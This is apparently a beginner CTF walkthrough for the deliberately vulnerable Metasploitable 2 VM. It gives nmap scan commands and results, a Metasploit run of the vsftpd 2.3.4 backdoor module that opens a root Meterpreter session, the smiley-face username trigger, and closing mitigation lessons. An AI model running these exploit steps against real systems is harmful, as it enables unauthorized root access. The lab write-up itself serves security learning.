November 19, 2026
Metasploitable 2 โ Walkthrough
Tags: CTF, Penetration Testing, Cybersecurity, Vulnhub, Linux
By Jamilulx
2 min read
Platform: Rapid7 / VulnHub
Difficulty: Beginner
Goal: Get root access
- Introduction
Metasploitable 2 is a deliberately vulnerable Ubuntu-based Linux VM built by Rapid7 for practicing exploitation with Metasploit. It runs dozens of outdated, misconfigured services on purpose, making it one of the best boxes for learning service enumeration and exploit selection. This walkthrough covers the classic path in: the vsftpd 2.3.4 backdoor.
- Network Discovery
Checked local network routes and ran a subnet sweep to find the target:
- ip r
- nmap 192.168.1.0/24
This identified 192.168.1.3 as the target, standing out with a huge number of open ports compared to the other hosts on the subnet.
- Full Port & Service Scan
Ran a comprehensive scan against the target, saving the output for reference:
- nmap -Pn -p- -sV 192.168.1.3 -vv -oN metasploitable2_nmapscan.txt
This scan took about 2.5 minutes and enumerated 30 open services. Notable results:
- 21/tcp. open. ftp. vsftpd 2.3.4
- 22/tcp. open. ssh. OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
- 23/tcp. open. telnet. Linux telnetd
- 25/tcp. open. smtp. Postfix smtpd
- 53/tcp. open. domain. ISC BIND 9.4.2
- 80/tcp. open. http. Apache httpd 2.2.8 ((Ubuntu) DAV/2)
- 139/tcp. open. netbios-ssn. Samba smbd 3.X โ 4.X
- 445/tcp. open. netbios-ssn. Samba smbd 3.X โ 4.X
- 512/tcp. open. exec. netkit-rsh rexecd
- 513/tcp. open. login. OpenBSD or Solaris rlogind
- 1099/tcp. open. java-rmi. GNU Classpath grmiregistry
- 1524/tcp. open. bindshell. Metasploitable root shell
- 2049/tcp. open. nfs
- 2121/tcp. open. ftp. ProFTPD 1.3.1
- 3306/tcp. open. mysql. MySQL 5.0.51a-3ubuntu5
- 3632/tcp. open. distccd. distccd v1 (GNU 4.2.4)
- 5432/tcp. open. postgresql. PostgreSQL DB 8.3.0 โ 8.3.7
- 5900/tcp. open. vnc. VNC (protocol 3.3)
- 6000/tcp. open. X11
- 6667/tcp. open. irc. UnrealIRCd
- 8009/tcp. open. ajp13. Apache Jserv
- 8180/tcp. open. http. Apache Tomcat/Coyote
- 8787/tcp. open. drb. Ruby DRb RMI
With this many outdated, vulnerable-by-design services, there are several possible entry points โ but the FTP banner stood out immediately.
- Identifying the Vulnerability
The FTP service on port 21 reported vsftpd 2.3.4 โ a version with a well-known, intentionally backdoored release from 2011. Searched for a matching exploit:
- searchsploit vsftpd 2.3.4
Results:
- vsftpd 2.3.4 โ Backdoor Command Execution. | unix/remote/49757.py
- vsftpd 2.3.4 โ Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
- Exploitation with Metasploit
Launched Metasploit and selected the matching module:
- msfconsole
- msf > search vsftpd 2.3.4
- msf > use exploit/unix/ftp/vsftpd_234_backdoor
- msf exploit(unix/ftp/vsftpd_234_backdoor) > options
Configured the target and local listener:
- msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.3
- msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.1.4
- msf exploit(unix/ftp/vsftpd_234_backdoor) > run
- Gaining Access
The exploit confirmed the vulnerable banner and spawned a backdoor shell:
- [*] 192.168.1.3:21 โ FTP banner hints its vulnerable: 220 (vsFTPd 2.3.4)
- [+] 192.168.1.3:21 โ The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
- [+] 192.168.1.3:21 โ Backdoor has been spawned!
- [*] Meterpreter session 1 opened (192.168.1.4:4444 -> 192.168.1.3:56777)
This is the well-known vsftpd 2.3.4 backdoor: the publicly distributed source for that version was maliciously modified so that logging in with a username ending in :) (a smiley face) triggers a listener on port 6200, dropping straight into a root shell โ no credentials or further exploitation needed.
- Confirming Access
- meterpreter > pwd
- /
- meterpreter > ls -la
The listing showed the full root filesystem (bin, boot, etc, home, root, var, etc.), confirming the session landed with full root-level filesystem access straight out of the gate.
- Lessons Learned & Mitigations
- Backdoored software supply chain: The vsftpd 2.3.4 source tarball was compromised at the distribution point, not through a code flaw in the original project. Fix: always verify package checksums/signatures against the official source, and avoid downloading software from unofficial mirrors.
- Outdated FTP server: Even aside from the backdoor, vsftpd 2.3.4 is over a decade old. Fix: keep all exposed services patched and current, and remove FTP entirely if SFTP/SCP can replace it.
- Unnecessary attack surface: This box exposed over two dozen services, many with known vulnerabilities (distccd, UnrealIRCd, Java RMI, etc.) โ any one of which could have been the entry point. Fix: disable or firewall off any service not actively required; minimize what's internet- or network-facing.
- No segmentation / immediate root: Once the FTP backdoor landed, there was no additional barrier before full root access. Fix: services should run as low-privilege users, and administrative access should require a separate, deliberate escalation step โ not be a side effect of a single service compromise.